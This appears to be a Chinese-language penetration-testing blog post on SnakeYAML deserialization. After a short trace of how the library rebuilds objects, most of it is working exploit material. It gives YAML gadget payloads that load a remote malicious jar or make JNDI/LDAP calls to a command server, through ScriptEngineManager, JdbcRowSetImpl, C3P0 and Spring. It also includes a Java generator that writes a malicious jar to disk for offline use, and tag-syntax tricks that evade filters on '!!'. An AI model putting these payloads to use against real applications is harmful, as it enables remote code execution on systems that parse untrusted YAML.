Snakeyaml 反序列化
漏洞分析
在snakeyaml1.x版本以下存在反序列化漏洞.对漏洞成因进行分析:
package org.example;
import org.yaml.snakeyaml.Yaml;
public class Main {
public static void main(String[] args) {
// Serialize();
Deserialize();
}
public static void Serialize(){
User user = new User();
user.setName("ljl");
user.setAge(18);
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}
public static void Deserialize(){
String s = "!!org.example.User {age: 18, name: ljl}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
}
}
User.java
package org.example;
public class User {
String name;
int age;
public User() {
System.out.println("User构造函数");
}
public String getName() {
System.out.println("User.getName");
return name;
}
public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}
public int getAge() {
System.out.println("User.getAge");
return age;
}
public void setAge(int age) {
System.out.println("User.setAge");
this.age = age;
}
}
在yaml.load处打断点进行调试:
一路跟进来到了BaseConstructor.constructObjectNoCheck方法(这名字好不吉利)
protected Object constructObjectNoCheck(Node node) {
if (this.recursiveObjects.contains(node)) {
throw new ConstructorException((String)null, (Mark)null, "found unconstructable recursive node", node.getStartMark());
} else {
this.recursiveObjects.add(node);
Construct constructor = this.getConstructor(node);
Object data = this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : constructor.construct(node);
this.finalizeConstruction(node, data);
this.constructedObjects.put(node, data);
this.recursiveObjects.remove(node);
if (node.isTwoStepsConstruction()) {
constructor.construct2ndStep(node, data);
}
return data;
}
}
然后在这里继续调试可以发现是利用了类的构造方法和Setter方法去恢复一个类.
POC利用
注意使用的时候空格一定不要出错,否则yaml在解析时会出现错误.
URL探测
用于探测是否出网的链
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://cab2f6ef.log.dnslog.sbs./"]]]]
JDBCRowSetImpl
打jndi注入,在fastjson中调试过了,要求出网.
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/Basic/Command/calc, autoCommit: true}
ScriptEngineManager
利用SPI机制去远程加载文件
首先去在工具yaml-payload-master中制作一个恶意类AwesomeScriptEngineFactory.java,修改其中的构造方法去执行命令.
然后将其编译并打包成jar包

最后开放在8888端口以提供远程访问.
当加载下面的yaml文件时即可执行命令.
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8888/yaml.jar"]]]]
fastjson1.2.68魔改不出网利用
我们利用fastjson1.2.68写文件的链子去打不出网利用.首先先用yaml-payload-master去做一个恶意的jar,然后使用下面的脚本去生成payload.注意:第一个参数是恶意jar的位置,第二个参数是想要写文件的位置.
package org.example;
import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;
public class SnakeYamlOffInternet {
public static void main(String [] args) throws Exception {
String poc = createPoC("E:\\渗透非安装工具\\yaml-payload-master\\yaml.jar","D:\\\\yaml.jar");
Yaml yaml = new Yaml();
yaml.load(poc);
}
public static String createPoC(String SrcPath,String Destpath) throws Exception {
File file = new File(SrcPath);
Long FileLength = file.length();
byte[] FileContent = new byte[FileLength.intValue()];
try{
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
}
catch (FileNotFoundException e){
e.printStackTrace();
}
byte[] compressbytes = compress(FileContent);
String base64str = Base64.getEncoder().encodeToString(compressbytes);
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]";
System.out.println(poc);
return poc;
}
public static byte[] compress(byte[] data) {
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}
然后去打ScriptEngineManager链去触发本地的恶意jar
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///D:/yaml.jar"]]]]
从而达到不出网利用的目的
C3P0出网利用
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
jndiName: ldap://127.0.0.1:1389/Basic/Command/calc
loginTimeout: 0
C3P0不出网利用
要求环境中有能执行命令的反序列化链子.
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: HexAsciiSerializedMap:<hex_String>
PropertyPathFactoryBean
要求环境中有spring-context5.x和spring-core5.x
!!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: "ldap://localhost:1389/Basic/Command/calc"
propertyPath: mi1k7ea
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Basic/Command/calc"]
bypass
绕过!!
并不只有!!类名这一种写法,实际上,!!会被转换为下面的标签.
!<tag:yaml.org,2002:类名>
例如,可以使用下面的payload去打jdbcRowSetImpl反序列化.
!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl> {dataSourceName: ldap://127.0.0.1:1389/Basic/Command/calc, autoCommit: true}
还可以通过提前定义!为标识符的方式去设置标签.
%TAG ! tag:yaml.org,2002:
---
!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/Basic/Command/calc, autoCommit: true}

浙公网安备 33010602011771号